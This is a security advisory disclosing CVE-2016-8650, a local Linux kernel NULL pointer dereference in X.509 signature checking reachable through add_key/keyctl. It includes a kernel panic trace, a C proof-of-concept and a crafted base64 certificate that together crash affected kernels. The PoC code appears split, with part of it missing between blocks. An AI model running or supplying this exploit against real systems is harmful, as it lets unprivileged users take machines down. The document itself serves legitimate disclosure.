OS-S Security Advisory 2016-21

Local DoS: Linux Kernel Nullpointer Dereference via keyctl

Date:	October 31th, 2016
Authors:	Sergej Schumilo, Ralf Spenneberg
CVE:	CVE-2016-8650
CVSS:	4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Severity:	Potentially critical. If the kernel is compiled with the option “Panic-On-Oops”, this vulnerability may lead to a kernel panic.
Ease of Exploitation:	Trivial
Vulnerability Type:	Local unprivileged kernel nullpointer dereference

Abstract:
A malicious interaction with the keyctl usermode interface allows an attacker to crash the kernel. Processing the attached certificate by the kernel leads to a kernel nullpointer dereference. This vulnerably can be triggered by any unprivileged user locally.

Detailed product description:
We have verified the bug on the following kernel builds:

Ubuntu Server 16.10 (GNU/Linux 4.8.0-22-generic x86_64)
RedHat Kernel 3.10.0-327.18.2.el7.x86_64

Vendor Communication:
We contacted RedHat on June, 06th 2016.
To this day, no security patch was provided by the vendor.
We publish this Security Advisory in accordance with our responsible disclosure policy.

Reference: https://bugzilla.redhat.com/show_bug.cgi?id=1343162

Proof of Concept:
As a proof of concept, we are providing a sample exploit program and the associated certificate.

Severity and Ease of Exploitation:
The vulnerability can be easily exploited by an unprivileged user using our proof of concept.

dmesg-Report:

```
[   40.067569] BUG: unable to handle kernel NULL pointer dereference at           (null)
[   40.068251] IP: [<ffffffff81341911>] mpi_powm+0x31/0x9b0
[   40.068710] PGD c853067 PUD 186bd067 PMD 0
[   40.069090] Oops: 0002 [#1] KASAN
[   40.069384] Modules linked in: kafl_vuln_test(OE) ext4(OE) mbcache(OE) jbd2(OE)
[   40.070043] CPU: 0 PID: 143 Comm: guest_interface Tainted: G           OE   4.4.0 #158
[   40.070666] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-
project.org 04/01/2014
[   40.071533] task: ffff88001864b100 ti: ffff88000c880000 task.ti: ffff88000c880000
[   40.072117] RIP: 0010:[<ffffffff81341911>]  [<ffffffff81341911>] mpi_powm+0x31/0x9b0
[   40.072743] RSP: 0018:ffff88000c887bf0  EFLAGS: 00010246
[   40.073165] RAX: 0000000000000020 RBX: 0000000000000020 RCX: ffff8800186b33f0
[   40.073727] RDX: ffff8800186b3930 RSI: ffff8800186b32a0 RDI: ffff8800186b37e0
[   40.074481] RBP: ffff88000c887cc0 R08: ffff880010000c00 R09: ffffed00030d6700
[   40.075049] R10: ffffea000061ace0 R11: ffff880010000c08 R12: 0000000000000000
[   40.075616] R13: ffff8800186b37e0 R14: 0000000000000000 R15: ffff8800186b32a0
[   40.076174] FS:  0000000000911880(0063) GS:ffffffff81c2f000(0000) knlGS:0000000000000000
[   40.076815] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
```

```
[   40.077266] CR2: 0000000000000000 CR3: 000000000c817000 CR4: 00000000000006f0
[   40.077850] Stack:
[   40.078018]  0000000000000001 ffffea0000321000 0000000000000000 ffff8800100026c0
[   40.078646]  ffffffff8118dff6 ffff8800186b37ff ffffffff8118dff6 ffff8800186b37ff
[   40.079286]  1ffff100030d6700 ffff88000c887c58 ffffffff8118e06e ffff8800185c95f8
[   40.079925] Call Trace:
[   40.080129]  [<ffffffff8118dff6>] ? kasan_unpoison_shadow+0x36/0x50
[   40.080642]  [<ffffffff8118dff6>] ? kasan_unpoison_shadow+0x36/0x50
[   40.081139]  [<ffffffff8118e06e>] ? kasan_kmalloc+0x5e/0x70
[   40.081582]  [<ffffffff81342320>] ? mpi_alloc+0x20/0x80
[   40.082006]  [<ffffffff812cee6c>] ? RSA_verify_signature+0x36c/0xf60
[   40.082512]  [<ffffffff812ceec5>] RSA_verify_signature+0x3c5/0xf60
[   40.083001]  [<ffffffff812ceb00>] ? public_key_describe+0x160/0x160
[   40.083507]  [<ffffffff812ce5c5>] public_key_verify_signature+0x785/0xb20
[   40.084043]  [<ffffffff812d5bad>] x509_check_signature+0x9d/0x320
[   40.084531]  [<ffffffff812d6461>] x509_key_preparse+0x631/0x1210
[   40.085014]  [<ffffffff812cbe1a>] ? asymmetric_key_preparse+0x26a/0x530
[   40.085534]  [<ffffffff812cbce7>] asymmetric_key_preparse+0x137/0x530
[   40.086981]  [<ffffffff8126b8fb>] ? key_type_lookup+0x4b/0x80
[   40.087437]  [<ffffffff8126ba67>] key_create_or_update+0x137/0x450
[   40.087942]  [<ffffffff8126d2e7>] SyS_add_key+0x117/0x200
[   40.088381]  [<ffffffff81741d33>] entry_SYSCALL_64_fastpath+0x16/0x75
[   40.088890] Code: 41 56 41 55 41 54 53 48 81 ec a8 00 00 00 8b 41 04 44 8b 72 04 4c 8b 67 18 85 c0 89 45 a4 0f
84 da 07 00 00 45 85 f6 75 38 89 c3 <49> c7 04 24 01 00 00 00 b8 01 00 00 00 83 fb 01 0f 84 84 01 00
[   40.091203] RIP  [<ffffffff81341911>] mpi_powm+0x31/0x9b0
[   40.091645]  RSP <ffff88000c887bf0>
[   40.091924] CR2: 0000000000000000
[   40.092207] ---[ end trace 3d4c5681d47247c7 ]---
[   40.092566] Kernel panic - not syncing: Fatal exception
[   40.092968] Kernel Offset: disabled
[   40.093242] Rebooting in 1 seconds..
```

Proof of Concept (Code):

```
/*
 *
 * base64 -d < certificate.base64 > test.crt
 * gcc test.crt -lkeyutils
 * ./a.out
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <sys/mount.h>
#include <errno.h>
#include <signal.h>
#include <keyutils.h>

int main(){
        FILE    *infile;
        char    *buffer;
        long    numbytes;

   key_serial_t key_id;
   key_serial_t keyring_id;

        infile = fopen("test.crt", "r");
        if(infile == NULL)
                return 1;

        fseek(infile, 0L, SEEK_END);
        numbytes = ftell(infile);

        fseek(infile, 0L, SEEK_SET);

        buffer = (char*)calloc(numbytes, sizeof(char));

        if(buffer == NULL)
                return 1;

        fread(buffer, sizeof(char), numbytes, infile);
        fclose(infile);

   /* inject fuzzed x509 DER data into asymmetric crypto kernel code */
        key_id = add_key("asymmetric", "", buffer, numbytes, 0xfffffffd);
```

```
            printf("Oops?!\n");

    if(key_id != -1){
        keyctl_unlink(key_id, 0xfffffffd);
    }

            free(buffer);

            return 0;
}
```

Proof of Concept (Certificate):

```
MIID/jCCAuagAwIBAgIQFaxulBmyeUtB9iepwxgPHzANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UE
BhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA4IEdlb1RydXN0
IEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFy
eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTA4MDQwMjAwMDAwMFoXDTM3MTIwMTIz
NTk1OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAo
YykgMjAwOCBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMT
LUdlb1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQgCggEBANziXmJYHTNXOTIz+uvLh4yn1ErdBojqZI4xmKU4kB6Yzy5j
K/BGvESyiaHAKAxJcCGVn2TAppMSAmUmhsalifD614SgcK9PGpc/BkTVyetyEH3kMSj7HGHmKAdE
c5IiaacDiGydY8hS2pgn5whMcD60yRLBxWeDXTPzAxHsatBT4tG6NmCUgLthY2xbF37fQJQeqw3C
IShwiP/WJmxsYAQlTlV+fe+/IEjetx3dcI0FX4ilm/LC7urRQEFtYjgdVgbFA0dRIBn8exALDmKu
dlW/X3e+PkkBUz2YJQN2JFodtNuJ6nnltrM7P7pMKEF/BqxqjsHQ9gUdfeZChuOl1UcCAQAAAaNC
MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMR5yo6hTgMdHNxr
2zFblD4/MH8tMA0GCSqGSIb3DQEBCwUAA4IBAQAtxRPPVoB7eni9n64smefv2t+UXglpp+dualy9
cr5HqQ6XErhK8WTTOd8lNNTBzU6B8A8ExCSzNJbGpqow32hhc9f5joWJ7w5elShKKiePEI4ufIbE
Ap7aDHdlDkQNkv39sxY2+hENHYwOB4lqKVb3cvTdFZx3NWZXqxNT2I7BQMXXExZacse3aQHEerGD
AWh9jUGhlBjBJVz88P6DAod8DQ3PLghcSkANPuyBYeYk28rgDi0Hsj5W3I31QYUHSJsMC8tJP33s
t/3LjWeJGqvtux6jAAgIFyqCXDFdRootD4abdNlF+9RAsXqqaC2Gspki4cErx5z481+oghLrGREt
```